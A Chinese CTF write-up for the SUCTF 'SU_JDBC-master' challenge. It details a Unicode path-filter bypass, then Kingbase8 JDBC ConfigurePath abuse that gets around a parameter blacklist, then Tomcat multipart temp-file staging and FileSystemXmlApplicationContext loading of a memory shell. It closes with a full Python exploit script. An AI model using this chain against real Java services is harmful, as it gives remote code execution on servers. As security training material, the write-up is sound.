SU_JDBC-master

由实战改编 证明你是jdbc大师的时候到了(PS:请在本地能够稳定获得flag的前提下再尝试线上环境)

访问/api/connection发现是一个数据库连接功能

存在拦截器com.suctf.interceptor.PathInterceptor

检测逻辑:

  1. 匹配”suctf”这个单词,但允许在字母之间插入任意数量的非单词字符(包括零个)。并且不区分大小写
  2. 将路径转为小写,然后检查是否包含”suctf”
  3. 先将路径转为小写,然后替换掉所有不是小写字母和数字的字符(即只保留a-z和0-9),然后检查结果是否包含”suctf”

com.suctf.config.WebConfig中设置了大小写不敏感

参考:Hacking GitHub’s Auth with Unicode’s Turkish Dotless ‘I’
一道有趣的CTF赛题-unicode引发的WebAssembly与js交互问题

我们可以通过/%C5%BFuctf进行绕过

接下来就走到了testConnection,通过jackson读取配置,driver默认为org.postgresql.Driver

1
this.objectMapper.readValue(configurationJson, Pg.class)

但如果我们主动传入

1
{"driver": "com.kingbase8.Driver"}

则会覆盖掉之前的值,看到给出的drivers版本

  • kingbase8-8.6.jar
  • postgresql-42.3.6.jar

很明显postgresql不在RCE的版本范围内,剩下kingbase8,能发现它是一个基于postgresql的国产引擎,并且存在CVE-2022-21724

但是在JDBC连接的时候设置了黑名单

1
2
3
4
5
6
7
8
9
10
11
12
13
private static final List<String> ILLEGAL_PARAMETERS = Arrays.asList(new String[] { "socketFactory", "socketFactoryArg", "sslfactory", "sslhostnameverifier", "sslpasswordcallback", "authenticationPluginClassName", "loggerFile", "loggerLevel" });

private void validateJdbcUrl(String jdbcUrl) throws UnsupportedEncodingException {
if (jdbcUrl == null || jdbcUrl.trim().isEmpty())
throw new IllegalArgumentException("jdbcUrl is empty");
if (jdbcUrl.trim().toLowerCase().contains(":/") || jdbcUrl.trim().toLowerCase().contains("/?"))
throw new IllegalArgumentException("Cannot contain special characters");
String jdbcUrlLower = jdbcUrl.toLowerCase();
for (String illegal : ILLEGAL_PARAMETERS) {
if (jdbcUrlLower.contains(illegal.toLowerCase()))
throw new IllegalArgumentException("Illegal parameter: " + illegal);
}
}

com.kingbase8.Driver#connect

先看到parseURL

1
2
3
4
5
6
7
8
9
10
11
urlServer = urlServer.substring("jdbc:kingbase8:".length());
if (urlServer.startsWith("//")) {
...
} else {
if (defaults == null || !defaults.containsKey("PORT"))
urlProps.setProperty("PORT", "54321");
if (defaults == null || !defaults.containsKey("HOST"))
urlProps.setProperty("HOST", "localhost");
if (defaults == null || !defaults.containsKey("DBNAME"))
urlProps.setProperty("DBNAME", URLCoder.decode(urlServer));
}

如果我们在URL中没有传入//,就会设置为默认值localhost和54321

接着看到initJDBCCONF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static Properties initJDBCCONF(Properties props) throws Exception {
Properties p = loadPropertyFiles(KBProperty.CONFIGUREPATH.get(props), props);
return p;
}

public static Properties loadPropertyFiles(String name, Properties props) throws IOException {
Properties p = new Properties(props);
File f = getFile(name);
if (!f.exists())
throw new IOException("Configuration file " + f.getAbsolutePath() + " does not exist. Consider adding it to specify db host and login");
try {
p.load(new FileInputStream(f));
} catch (IOException ex) {
ex.printStackTrace();
}
return p;
}

如果设置了CONFIGUREPATH,则加载配置文件覆盖之前的Properties

1
CONFIGUREPATH("ConfigurePath", null, "Path of configuration file"),

所以我们可以构造URL绕过黑名单限制:

1
jdbc:kingbase8:?ConfigurePath

但是题目不出网,所以我们需要利⽤ Tomcat multipart 临时⽂件,发⼤体积 multipart 请求实现加载

相关文章:
Java利用无外网(下):ClassPathXmlApplicationContext的不出网利用
Postgresql JDBC Attack and Stuff

由于要上传两个文件,⼀个给 ConfigurePath 当配置文件,另⼀个给 FileSystemXmlApplicationContext 实现RCE

我们先使用 java-chain 生成内存马POC

然后在配置文件中指定为tmp临时文件

1
2
socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext
socketFactoryArg=file:/${catalina.home}/**/*.tmp

先看下临时上传的文件

在 ClassPathXmlApplicationContext 找到全部符合的资源后,使用了 for 循环,依次解析每个资源。注意此处的 for 循环中没有 try catch。一旦某个资源解析出错,将会抛出异常,而终止解析。

正常的配置文件并不满足xml格式,会导致解析出错,这里适配一下

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

<bean id="poc" class="java.lang.String">
<constructor-arg value="
socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext
socketFactoryArg=file:/${catalina.home}/**/*.tmp
" />
</bean>
</beans>

依次上传这两个文件

最后通过jdbc:kingbase8:?ConfigurePath=/proc/8/fd/遍历fd路径

成功RCE

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
import socket
import time
import threading
import json

HOST = 'x.x.x.x'
PORT = 8080

def send_request(payload: str, filename: str, host: str = HOST, port: int = PORT):
"""
在独立线程中创建连接,发送 POST 请求,并无限期保持连接。
"""
# 模板使用 .format() 占位符,方便动态填充
template = b'''POST / HTTP/1.1
Host: {host_port}
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: multipart/form-data; boundary=xxxxxx
Content-Length: 1296800

--xxxxxx
Content-Disposition: form-data; name="file"; filename="{filename}"

{payload}
'''.replace(b"\n", b"\r\n")

# 解码为字符串,进行格式化
template_str = template.decode()
req_str = template_str.format(
host_port=f"{host}:{port}",
filename=filename,
payload=payload
)
request = req_str.encode()

# 建立连接并发送请求
sock = socket.socket()
sock.connect((HOST, PORT))
sock.sendall(request)

# 保持连接:线程无限循环,socket 不会被关闭
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
# 如果线程收到中断(通常由主线程传播),关闭 socket 后退出
sock.close()
raise
# 正常情况下永远不会到达这里

def blast_fd(start_fd=0, end_fd=100):
path = "/api/connection/%C5%BFuctf"
time.sleep(5)
while True:
for fd in range(start_fd, end_fd + 1):
print("开始爆破fd:"+str(fd))
named_pipe_path = f"/proc/8/fd/{fd}"
payload = {
"urlType": "jdbcUrl",
"driver": "com.kingbase8.Driver",
"jdbcUrl": f"jdbc:kingbase8:?ConfigurePath={named_pipe_path}",
"username": "postgres",
"password": "your_password",
}
body = json.dumps(payload).encode()

# 构造 HTTP 请求
request_line = f"POST {path} HTTP/1.1\r\n"
headers = (
f"Host: {HOST}:{PORT}\r\n"
"Connection: close\r\n" # 每个请求独立连接,完成后关闭
"Content-Type: application/json\r\n"
f"Content-Length: {len(body)}\r\n"
"\r\n"
).encode()
request = request_line.encode() + headers + body

try:
sock = socket.socket()
sock.connect((HOST, PORT))
sock.sendall(request)
sock.close()

except Exception as e:
print(f"[!] fd = {fd} 请求异常: {e}")
time.sleep(1) # 避免请求过快

if __name__ == '__main__':
payload1 = '''<beans
xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="decoder" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
<property name="staticMethod" value="org.springframework.util.Base64Utils.decodeFromString"/>
<property name="arguments">
<list>
<value>yv66vg......</value>
</list>
</property>
</bean>
<bean id="classLoader" class="javax.management.loading.MLet"/>
<bean id="clazz" factory-bean="classLoader" factory-method="defineClass">
<constructor-arg ref="decoder"/>
<constructor-arg type="int" value="0"/>
<constructor-arg type="int" value="9158"/>
</bean>
<bean factory-bean="clazz" factory-method="newInstance"/>
</beans>'''+"\n"*10
payload2 = '''<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

<bean id="poc" class="java.lang.String">
<constructor-arg value="
socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext
socketFactoryArg=file:/${catalina.home}/**/*.tmp
" />
</bean>
</beans>'''+"\n"*10

# 创建并启动线程
t1 = threading.Thread(target=send_request, args=(payload1, 'a.txt'))
t2 = threading.Thread(target=send_request, args=(payload2, 'b.txt'))
t3 = threading.Thread(target=blast_fd, args=(20,50))

t1.start()
t2.start()
t3.start()

print("请求线程已启动,连接保持中...")
try:
# 主线程等待,保持程序运行
t1.join()
t2.join()
t3.join()

except KeyboardInterrupt:
print("\n收到中断,程序退出")

注意这里本地测试的话ip不能为127.0.0.1

参考:
XCTF-SUCTF2026 JDBC-master&&wms